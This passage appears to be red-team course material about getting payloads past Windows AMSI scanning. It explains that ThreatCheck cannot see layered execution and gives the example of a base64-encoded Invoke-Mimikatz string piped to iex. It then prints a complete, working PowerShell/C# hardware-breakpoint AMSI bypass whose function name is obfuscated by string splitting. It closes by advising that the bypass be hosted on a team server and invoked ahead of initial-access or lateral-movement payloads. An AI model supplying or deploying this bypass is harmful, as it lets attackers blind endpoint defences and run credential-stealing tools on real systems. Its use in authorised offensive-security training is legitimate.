You may run into situations where ThreatCheck gives the "all clear" on a payload, but it still gets caught by AMSI. This is particularly troublesome for initial access or lateral movement payloads, because Beacon's amsi_disable directive does not apply to them.
There are two common reasons for this. The first is that the Defender engine/signature versions differ between our attacking workstation and the target. The second is that the malicious part of the payload may be buried under one or more layers of execution. ThreatCheck can only scan the "top level" of a provided sample, it cannot emulate the layers of execution that will occur inside the PowerShell engine. Here is a simple example to illustrate.
The information that ThreatCheck submits to AMSI is the literal string '[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String("SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoA")) | iex'. This comes back as clean because the content doesn't match any known signatures. However, when executed, AMSI blocks it because the string "Invoke-Mimikatz" is signatured. The difference is that the PowerShell engine will re-scan the content being piped to Invoke-Expression, which is no longer in it's base64 encoded form. This is a behaviour that ThreatCheck cannot replicate.
To help get around this, we can integrate an external AMSI bypass into our payloads. For example, this method by @_EthicalChaos_ (modified by @ShitSecure) which utilises hardware breakpoints.
$HWBP = @"
using System;
using System.Collections.Generic;
using System.Linq.Expressions;
using System.Linq;
using System.Runtime.CompilerServices;
using System.Net;
using System.Reflection;
using System.Runtime.InteropServices;
namespace HWBP
{
public class Amsi
{
static string a = "msi";
static string b = "anB";
static string c = "ff";
static IntPtr BaseAddress = WinAPI.LoadLibrary("a" + a + ".dll");
static IntPtr pABuF = WinAPI.GetProcAddress(BaseAddress, "A" + a + "Sc" + b + "u" + c + "er");
static IntPtr pCtx = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(WinAPI.CONTEXT64)));
public static void Bypass()
{
WinAPI.CONTEXT64 ctx = new WinAPI.CONTEXT64();
ctx.ContextFlags = WinAPI.CONTEXT64_FLAGS.CONTEXT64_ALL;
MethodInfo method = typeof(Amsi).GetMethod("Handler", BindingFlags.Static | BindingFlags.Public);
IntPtr hExHandler = WinAPI.AddVectoredExceptionHandler(1, method.MethodHandle.GetFunctionPointer());
Marshal.StructureToPtr(ctx, pCtx, true);
bool b = WinAPI.GetThreadContext((IntPtr)(-2), pCtx);
ctx = (WinAPI.CONTEXT64)Marshal.PtrToStructure(pCtx, typeof(WinAPI.CONTEXT64));
EnableBreakpoint(ctx, pABuF, 0);
WinAPI.SetThreadContext((IntPtr)(-2), pCtx);
}
public static long Handler(IntPtr exceptions)
{
WinAPI.EXCEPTION_POINTERS ep = new WinAPI.EXCEPTION_POINTERS();
ep = (WinAPI.EXCEPTION_POINTERS)Marshal.PtrToStructure(exceptions, typeof(WinAPI.EXCEPTION_POINTERS));
WinAPI.EXCEPTION_RECORD ExceptionRecord = new WinAPI.EXCEPTION_RECORD();
ExceptionRecord = (WinAPI.EXCEPTION_RECORD)Marshal.PtrToStructure(ep.pExceptionRecord, typeof(WinAPI.EXCEPTION_RECORD));
WinAPI.CONTEXT64 ContextRecord = new WinAPI.CONTEXT64();
ContextRecord = (WinAPI.CONTEXT64)Marshal.PtrToStructure(ep.pContextRecord, typeof(WinAPI.CONTEXT64));
if (ExceptionRecord.ExceptionCode == WinAPI.EXCEPTION_SINGLE_STEP && ExceptionRecord.ExceptionAddress == pABuF)
{
ulong ReturnAddress = (ulong)Marshal.ReadInt64((IntPtr)ContextRecord.Rsp);
IntPtr ScanResult = Marshal.ReadIntPtr((IntPtr)(ContextRecord.Rsp + (6 * 8))); // 5th arg, swap it to clean
Marshal.WriteInt32(ScanResult, 0, WinAPI.AMSI_RESULT_CLEAN);
ContextRecord.Rip = ReturnAddress;
ContextRecord.Rsp += 8;
ContextRecord.Rax = 0; // S_OK
Marshal.StructureToPtr(ContextRecord, ep.pContextRecord, true); //Paste our altered ctx back in TO THE RIGHT STRUCT
return WinAPI.EXCEPTION_CONTINUE_EXECUTION;
}
else
{
return WinAPI.EXCEPTION_CONTINUE_SEARCH;
}
}
public static void EnableBreakpoint(WinAPI.CONTEXT64 ctx, IntPtr address, int index)
{
switch (index)
{
case 0:
ctx.Dr0 = (ulong)address.ToInt64();
break;
case 1:
ctx.Dr1 = (ulong)address.ToInt64();
break;
case 2:
ctx.Dr2 = (ulong)address.ToInt64();
break;
case 3:
ctx.Dr3 = (ulong)address.ToInt64();
break;
}
ctx.Dr7 = SetBits(ctx.Dr7, 16, 16, 0);
ctx.Dr7 = SetBits(ctx.Dr7, (index * 2), 1, 1);
ctx.Dr6 = 0;
Marshal.StructureToPtr(ctx, pCtx, true);
}
public static ulong SetBits(ulong dw, int lowBit, int bits, ulong newValue)
{
ulong mask = (1UL << bits) - 1UL;
dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
return dw;
}
}
public class WinAPI
{
public const UInt32 DBG_CONTINUE = 0x00010002;
public const UInt32 DBG_EXCEPTION_NOT_HANDLED = 0x80010001;
public const Int32 EXCEPTION_CONTINUE_EXECUTION = -1;
public const Int32 EXCEPTION_CONTINUE_SEARCH = 0;
public const Int32 CREATE_PROCESS_DEBUG_EVENT = 3;
public const Int32 CREATE_THREAD_DEBUG_EVENT = 2;
public const Int32 EXCEPTION_DEBUG_EVENT = 1;
public const Int32 EXIT_PROCESS_DEBUG_EVENT = 5;
public const Int32 EXIT_THREAD_DEBUG_EVENT = 4;
public const Int32 LOAD_DLL_DEBUG_EVENT = 6;
public const Int32 OUTPUT_DEBUG_STRING_EVENT = 8;
public const Int32 RIP_EVENT = 9;
public const Int32 UNLOAD_DLL_DEBUG_EVENT = 7;
public const UInt32 EXCEPTION_ACCESS_VIOLATION = 0xC0000005;
public const UInt32 EXCEPTION_BREAKPOINT = 0x80000003;
public const UInt32 EXCEPTION_DATATYPE_MISALIGNMENT = 0x80000002;
public const UInt32 EXCEPTION_SINGLE_STEP = 0x80000004;
public const UInt32 EXCEPTION_ARRAY_BOUNDS_EXCEEDED = 0xC000008C;
public const UInt32 EXCEPTION_INT_DIVIDE_BY_ZERO = 0xC0000094;
public const UInt32 DBG_CONTROL_C = 0x40010006;
public const UInt32 DEBUG_PROCESS = 0x00000001;
public const UInt32 CREATE_SUSPENDED = 0x00000004;
public const UInt32 CREATE_NEW_CONSOLE = 0x00000010;
public const Int32 AMSI_RESULT_CLEAN = 0;
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool SetThreadContext(IntPtr hThread, IntPtr lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern bool GetThreadContext(IntPtr hThread, IntPtr lpContext);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
[DllImport("Kernel32.dll")]
public static extern IntPtr AddVectoredExceptionHandler(uint First, IntPtr Handler);
[Flags]
public enum CONTEXT64_FLAGS : uint
{
CONTEXT64_AMD64 = 0x100000,
CONTEXT64_CONTROL = CONTEXT64_AMD64 | 0x01,
CONTEXT64_INTEGER = CONTEXT64_AMD64 | 0x02,
CONTEXT64_SEGMENTS = CONTEXT64_AMD64 | 0x04,
CONTEXT64_FLOATING_POINT = CONTEXT64_AMD64 | 0x08,
CONTEXT64_DEBUG_REGISTERS = CONTEXT64_AMD64 | 0x10,
CONTEXT64_FULL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_FLOATING_POINT,
CONTEXT64_ALL = CONTEXT64_CONTROL | CONTEXT64_INTEGER | CONTEXT64_SEGMENTS | CONTEXT64_FLOATING_POINT | CONTEXT64_DEBUG_REGISTERS
}
[StructLayout(LayoutKind.Sequential)]
public struct M128A
{
public ulong High;
public long Low;
public override string ToString()
{
return string.Format("High:{0}, Low:{1}", this.High, this.Low);
}
}
[StructLayout(LayoutKind.Sequential, Pack = 16)]
public struct XSAVE_FORMAT64
{
public ushort ControlWord;
public ushort StatusWord;
public byte TagWord;
public byte Reserved1;
public ushort ErrorOpcode;
public uint ErrorOffset;
public ushort ErrorSelector;
public ushort Reserved2;
public uint DataOffset;
public ushort DataSelector;
public ushort Reserved3;
public uint MxCsr;
public uint MxCsr_Mask;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 8)]
public M128A[] FloatRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 16)]
public M128A[] XmmRegisters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 96)]
public byte[] Reserved4;
}
[StructLayout(LayoutKind.Sequential, Pack = 16)]
public struct CONTEXT64
{
public ulong P1Home;
public ulong P2Home;
public ulong P3Home;
public ulong P4Home;
public ulong P5Home;
public ulong P6Home;
public CONTEXT64_FLAGS ContextFlags;
public uint MxCsr;
public ushort SegCs;
public ushort SegDs;
public ushort SegEs;
public ushort SegFs;
public ushort SegGs;
public ushort SegSs;
public uint EFlags;
public ulong Dr0;
public ulong Dr1;
public ulong Dr2;
public ulong Dr3;
public ulong Dr6;
public ulong Dr7;
public ulong Rax;
public ulong Rcx;
public ulong Rdx;
public ulong Rbx;
public ulong Rsp;
public ulong Rbp;
public ulong Rsi;
public ulong Rdi;
public ulong R8;
public ulong R9;
public ulong R10;
public ulong R11;
public ulong R12;
public ulong R13;
public ulong R14;
public ulong R15;
public ulong Rip;
public XSAVE_FORMAT64 DUMMYUNIONNAME;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 26)]
public M128A[] VectorRegister;
public ulong VectorControl;
public ulong DebugControl;
public ulong LastBranchToRip;
public ulong LastBranchFromRip;
public ulong LastExceptionToRip;
public ulong LastExceptionFromRip;
}
[StructLayout(LayoutKind.Sequential)]
public struct EXCEPTION_RECORD
{
public uint ExceptionCode;
public uint ExceptionFlags;
public IntPtr ExceptionRecord;
public IntPtr ExceptionAddress;
public uint NumberParameters;
[MarshalAs(UnmanagedType.ByValArray, SizeConst = 15, ArraySubType = UnmanagedType.U4)] public uint[] ExceptionInformation;
}
[StructLayout(LayoutKind.Sequential)]
public struct EXCEPTION_POINTERS
{
public IntPtr pExceptionRecord;
public IntPtr pContextRecord;
}
}
}
"@
Add-Type -TypeDefinition $HWBP
[HWBP.Amsi]::Bypass()
We could save this off to a new file and host it at a different URI on the team server. Then just call and invoke this bypass script before the payload.